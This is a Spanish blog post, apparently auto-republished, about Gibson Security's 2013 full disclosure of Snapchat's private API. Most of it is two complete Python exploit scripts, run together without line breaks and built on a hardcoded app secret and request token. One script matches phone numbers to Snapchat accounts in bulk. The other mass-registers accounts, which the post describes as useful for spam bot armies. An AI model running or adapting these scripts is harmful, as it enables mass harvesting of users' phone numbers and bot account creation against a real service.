domingo, 29 de diciembre de 2013

Publican el API y dos exploits funcionales para Snapchat

Por si alguien no lo conoce... Snapchat es una aplicación de mensajería instantánea para iOS (iPhone) o Android que te permite enviar fotos y videos a uno o más amigos con una duración definida. Es decir, cuando las fotos o videos que has enviado alcanzan su duración límite (hasta 10 segundos) se borrarán (supuestamente) del teléfono de la persona que los recibió de manera automática.

Se calcula que actualmente hay más de 8 millones de usuarios activos y... bueno... Snapchat tiene la reputación de ser la aplicación que utilizan (sobretodo los más jóvenes) para compartir contenido sexual... uséase... sexting...

En agosto, los australianos de Gibson Security avisaron a Snapchat de varias vulnerabilidades pero la empresa se ??mantuvo en silencio y no las solucionó. El día de navidad (toma regalo), cansados de su indiferencia, han decidido publicar el API no documentada y dos exploits totalmente funcionales:

- el primero de ellos permite con una sola petición (/ph/find_friends) saber si un número de teléfono está o no asociado a una cuenta de Snapchat. No hay que ser un lumbreras para saber que si se automatiza el proceso podemos obtener una base de datos de cuentas de Snapchat y se cree que, con una conexión de 1gb, se podría obtener una total en unas 20 horas. 

El siguiente script simplemente lee una lista de números a partir de la entrada estándar, itera a través de ellos y escribe el resultado en la salida estándar. 

Uso: python2 find_friends.py $username $password < numbers.txt > results.txt

#!/usr/bin/env python2# python2 find_friends.py $username $password < numbers.txt > results.txtimport requestsimport hashlibimport jsonimport sysdef request_token(auth_token, timestamp):    secret = "iEk21fuwZApXlz93750dmW22pw389dPwOk"    pattern = "0001110111101110001111010101111011010001001110011000110001000110"    first = hashlib.sha256(secret + auth_token).hexdigest()    second = hashlib.sha256(str(timestamp) + secret).hexdigest()    bits = [first[i] if c == "0" else second[i] for i, c in enumerate(pattern)]    return "".join(bits)numbers = sys.stdin.read().split("\n")base = "https://feelinsonice.appspot.com"r = requests.post(base + "/bq/login", data={    # These are hardcoded, just because it's easy.    "req_token": "9301c956749167186ee713e4f3a3d90446e84d8d19a4ca8ea9b4b314d1c51b7b",    "timestamp": 1373209025,    "username": sys.argv[1],    "password": sys.argv[2]}, headers={"User-agent": None})auth_token, username = r.json()["auth_token"], r.json()["username"]# We can hardcode these as well.static = {"req_token": request_token(auth_token, 1373209025), "countryCode": "US", "timestamp": 1373209025, "username": username}for number in numbers:    n = json.dumps({number: "J. R. Hacker"})    r = requests.post(base + "/ph/find_friends", data=dict(static, numbers=n), headers={"User-agent": None}).json()    if len(r["results"]) < 1:        continue    sys.stdout.write("{0} -> {1}\n".format(number, r["results"][0]["name"]))    sys.stdout.flush()
- el segundo de los exploits permite la creación masiva de cuentas en Snapchat para, por ejemplo, hacernos con un infame ejército de bots que envie spam. En esta ocasión se necesitan dos peticiones: /bq/register y /ph/registeru.

El siguiente script lee una lista de cuentas de la entrada estándar, intenta registrarlos y, a continuación, saca las cuentas registradas válidas por la salida estándar. 

El formato de la lista de cuentas debe ser de esta manera:

cuenta1: contraseña1: you1@example.orgcuenta2: contraseña2: you2@example.orgcuenta3: password3: you3@example.org... indefinidamenteUso: python2 bulk_register.py registered.txt#!/usr/bin/env python2# python2 bulk_register.py < accounts.txt > registered.txt# format accounts.txt like `username:password:email`import requestsimport sysaccounts = [a.split(":") for a in sys.stdin.read().split("\n") if a.strip() != ""]base = "https://feelinsonice.appspot.com"for account in accounts:    username, password, email = account    reg = requests.post(base + "/bq/register", data={        "req_token": "9301c956749167186ee713e4f3a3d90446e84d8d19a4ca8ea9b4b314d1c51b7b",        "timestamp": 1373209025,        "email": email,        "password": password,        "age": 19,        "birthday": "1994-11-27",    }, headers={"User-agent": None})    if not reg.json()["logged"]:        continue    nam = requests.post(base + "/ph/registeru", data={        "req_token": "9301c956749167186ee713e4f3a3d90446e84d8d19a4ca8ea9b4b314d1c51b7b",        "timestamp": 1373209025,        "email": email,        "username": username    }, headers={"User-agent": None})    if not nam.json()["logged"]:        continue    sys.stdout.write(":".join(account) + "\n")    sys.stdout.flush()
Full disclosure: http://gibsonsec.org/snapchat/fulldisclosure/
Fuente: Researchers publish Snapchat code allowing phone number matching after exploit disclosures ignored

View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

No hay comentarios:

Publicar un comentario